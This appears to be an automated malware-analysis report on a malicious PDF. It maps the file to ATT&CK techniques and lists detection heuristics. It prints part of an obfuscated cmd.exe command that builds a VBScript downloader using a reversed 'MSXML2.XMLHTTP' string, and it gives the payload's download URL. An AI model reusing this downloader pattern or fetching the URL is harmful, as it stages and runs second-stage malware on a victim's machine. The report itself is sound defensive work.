MITRE ATT&CK

T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to construct and likely execute a VBScript payload by concatenating strings, including a URL from which to download further content. The embedded URL http://06.1099hsd.co.cc/x/img.php?d=1 is highly suspicious and likely serves the malicious script. The script construction itself is obfuscated, but the intent is to download and run a second-stage payload.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://06.1099hsd.co.cc/x/img.php?d=1
